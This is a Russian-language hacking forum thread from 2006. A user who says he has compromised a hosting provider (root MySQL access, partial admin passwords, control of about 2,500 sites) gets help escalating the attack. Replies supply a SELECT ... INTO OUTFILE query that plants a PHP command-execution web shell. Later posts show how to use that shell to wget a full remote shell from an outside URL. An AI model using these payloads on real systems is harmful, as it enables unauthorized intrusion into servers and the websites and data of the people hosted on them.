Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Root MySQL (https://forum.antichat.xyz/showthread.php?t=28068)

Macro 27.11.2006 11:54

Root MySQL
 
Ребятишки, я вот взломал хостинг, там идиоты админы походу, есть у меня их пассы частично и рут к базе данных. Я могу получить рута на серваке?

_Great_ 27.11.2006 11:58

насчет рута хз, но шелл можешь.
select 'web shell code' into outfile '/path_to_web_shell'

Macro 27.11.2006 11:59

Цитата:

Сообщение от _Great_
насчет рута хз, но шелл можешь.
select 'web shell code' into outfile '/path_to_web_shell'

Пасиб, попробую! А это будет root shell?

Macro 27.11.2006 12:04

#1064 - You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 :(

N0n$e№Z 27.11.2006 15:25

SELECT '<? system($_GET[cmd]); ?>' INTO OUTFILE 'ЗДЕСЬ локальная ДИРЕКТОРИЯ В КоТОРУЮ ТЫ ХОЧЕШЬ ПОМЕСТИТЬ ШЕЛЛ'

НЕзабудь про кавычки!Пример дириктории /www/site/users/htdocs/shell.php

Macro 27.11.2006 15:40

Цитата:

Сообщение от N0n$e№Z
SELECT '<? system($_GET[cmd]); ?>' INTO OUTFILE 'ЗДЕСЬ локальная ДИРЕКТОРИЯ В КоТОРУЮ ТЫ ХОЧЕШЬ ПОМЕСТИТЬ ШЕЛЛ'

НЕзабудь про кавычки!Пример дириктории /www/site/users/htdocs/shell.php

Попробую. Там явно phpmyadmin (который любезные администраторы предоставили) глючный.
Я вот думаю, мне мучаться с root'ом, или нет? И так есть управление 2,5 тысячами сайтов :cool:
И пароли администраторов... Правда, не все пароли.

N0n$e№Z 27.11.2006 15:56

НУ это ты сам решай,а если так то удачи!

N0n$e№Z 27.11.2006 16:06

А еще!После того как ты выполнишь эту команду файл примет вид: shell.php,это командер!Чтобы залить полноценный шел надо сделать так!http://сайт/директория/shell.php?cmd=wget http://И адрес где лежит полноценный шелл!Можешь взять вот этот http://vrms.narod.ru/remview.php

Macro 27.11.2006 16:15

Цитата:

Сообщение от N0n$e№Z
А еще!После того как ты выполнишь эту команду файл примет вид: shell.php,это командер!Чтобы залить полноценный шел надо сделать так!http://сайт/директория/shell.php?cmd=wget http://И адрес где лежит полноценный шелл!Можешь взять вот этот http://vrms.narod.ru/remview.php

Если права поставлены правильно (а это так), то ничего не выйдет

N0n$e№Z 27.11.2006 16:18

ЭТО ПЛОХО!0777 рулит!


Время: 21:11